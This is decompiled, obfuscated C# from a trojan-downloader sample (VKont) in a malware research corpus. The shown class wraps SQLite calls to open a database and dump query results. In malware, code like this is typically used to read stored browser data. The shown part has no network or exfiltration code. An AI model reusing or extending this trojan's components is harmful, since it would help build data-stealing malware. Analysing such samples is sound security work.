// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7761CAE9-D290-48D9-A44C-5C95C5289DD6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Downloader.MSIL.VKont.a-1d4cb0f0a33db378f9e4ae1b0f91ee4baabf5f1a669646e1278e016241a1452a.exe

using \u0001;
using System;
using System.Data;
using System.Runtime.InteropServices;
using System.Text;

namespace \u0004
{
  internal class \u0001
  {
    [NonSerialized]
    internal static \u0001.\u0001 \u0001;
    private IntPtr \u0001;

    [DllImport("kernel32", EntryPoint = "HeapAlloc")]
    private static extern IntPtr \u0002([In] IntPtr obj0, [In] uint obj1, [In] uint obj2);

    [DllImport("kernel32", EntryPoint = "GetProcessHeap")]
    private static extern IntPtr \u0002();

    [DllImport("kernel32", EntryPoint = "lstrlen")]
    private static extern int \u0002([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_open")]
    private static extern int \u0002([In] IntPtr obj0, [In] ref IntPtr obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")]
    private static extern int \u0002(
      [In] IntPtr obj0,
      [In] IntPtr obj1,
      [In] int obj2,
      [In] ref IntPtr obj3,
      [In] ref IntPtr obj4);

    [DllImport("sqlite3", EntryPoint = "sqlite3_step")]
    private static extern int \u0003([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_count")]
    private static extern int \u0004([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_name")]
    private static extern IntPtr \u0002([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_type")]
    private static extern int \u0002([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_int")]
    private static extern int \u0003([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_double")]
    private static extern double \u0002([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_text")]
    private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")]
    private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_finalize")]
    private static extern int \u0005([In] IntPtr obj0);

    public \u0001() => this.\u0001 = IntPtr.Zero;

    public \u0001([In] string obj0) => this.\u0002(obj0);

    public void \u0002([In] string obj0)
    {
      if (\u0004.\u0001.\u0002(this.\u0002(obj0), ref this.\u0001) != 0)
      {
        this.\u0001 = IntPtr.Zero;
        throw new Exception(\u0004.\u0001.\u0001(4389) + obj0 + \u0004.\u0001.\u0001(4430));
      }
    }

    public DataTable \u0002([In] string obj0)
    {
      IntPtr num1;
      IntPtr num2;
      \u0004.\u0001.\u0002(this.\u0001, this.\u0002(obj0), this.\u0006(this.\u0002(obj0)), ref num1, ref num2);
      DataTable dataTable = new DataTable();
      int num3 = this.\u0002(num1, ref dataTable);
      while (num3 == 100)
        num3 = this.\u0003(num1, ref dataTable);
      \u0004.\u0001.\u0005(num1);
      return dataTable;
    }

    private int \u0002([In] IntPtr obj0, [In] ref DataTable obj1)
    {
      obj1 = new DataTable(\u0004.\u0001.\u0001(4435));
      if (\u0004.\u0001.\u0003(obj0) == 100)
      {
        int num1 = \u0004.\u0001.\u0004(obj0);
        string str = \u0004.\u0001.\u0001(341);
        object[] objArray = new object[checked (num1 - 1 + 1)];
        int num2 = checked (num1 - 1);
        int index = 0;
        while (index <= num2)
        {
          string columnName = this.\u0002(\u0004.\u0001.\u0002(obj0, index));
          switch (\u0004.\u0001.\u0002(obj0, index))
          {
            case 1:
              obj1.Columns.Add(columnName, Type.GetType(\u0004.\u0001.\u0001(4452)));
              objArray[index] = (object) \u0004.\u0001.\u0003(obj0, index);
              break;
            case 2:
              obj1.Columns.Add(columnName, Type.GetType(\u0004.\u0001.\u0001(4469)));
              objArray[index] = (object) \u0004.\u0001.\u0002(obj0, index);
              break;
            case 3:
              obj1.Columns.Add(columnName, Type.GetType(\u0004.\u0001.\u0001(4490)));
              objArray[index] = (object) this.\u0002(\u0004.\u0001.\u0003(obj0, index));
              break;
            case 4:
              obj1.Columns.Add(columnName, Type.GetType(\u0004.\u0001.\u0001(4490)));
              objArray[index] = (object) this.\u0002(\u0004.\u0001.\u0004(obj0, index));
              break;
            default:
              obj1.Columns.Add(columnName, Type.GetType(\u0004.\u0001.\u0001(4490)));
              objArray[index] = (object) \u0004.\u0001.\u0001(341);
              break;
          }
          checked { ++index; }
        }
        obj1.Rows.Add(objArray);
      }
      return \u0004.\u0001.\u0003(obj0);
    }

    private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1)
    {
      int num1 = \u0004.\u0001.\u0004(obj0);
      object[] objArray = new object[checked (num1 - 1 + 1)];
      int num2 = checked (num1 - 1);
      int index = 0;
      while (index <= num2)
      {
        switch (\u0004.\u0001.\u0002(obj0, index))
        {
          case 1:
            objArray[index] = (object) \u0004.\u0001.\u0003(obj0, index);
            break;
          case 2:
            objArray[index] = (object) \u0004.\u0001.\u0002(obj0, index);
            break;
          case 3:
            objArray[index] = (object) this.\u0002(\u0004.\u0001.\u0003(obj0, index));
            break;
          case 4:
            objArray[index] = (object) this.\u0002(\u0004.\u0001.\u0004(obj0, index));
            break;
          default:
            objArray[index] = (object) \u0004.\u0001.\u0001(341);
            break;
        }
        checked { ++index; }
      }
      obj1.Rows.Add(objArray);
      return \u0004.\u0001.\u0003(obj0);
    }

    private IntPtr \u0002([In] string obj0)
    {
      switch (obj0)
      {
        case null:
          return IntPtr.Zero;
        default:
          byte[] bytes = Encoding.UTF8.GetBytes(obj0);
          uint num1 = checked ((uint) (bytes.Length + 1));
          IntPtr num2 = \u0004.\u0001.\u0002(\u0004.\u0001.\u0002(), 0U, num1);
          Marshal.Copy(bytes, 0, num2, bytes.Length);
          Marshal.WriteByte(num2, bytes.Length, (byte) 0);
          return num2;
      }
    }

    private string \u0002([In] IntPtr obj0)
    {
      if (obj0 == IntPtr.Zero)
        return (string) null;
      Encoding utF8 = Encoding.UTF8;
      int num = this.\u0006(obj0);
      byte[] numArray = new byte[checked (num - 1 + 1)];
      Marshal.Copy(obj0, numArray, 0, num);
      return utF8.GetString(numArray, 0, num);
    }

    private int \u0006([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0004.\u0001.\u0002(obj0);

    static \u0001() => \u0002.\u0002();
  }
}
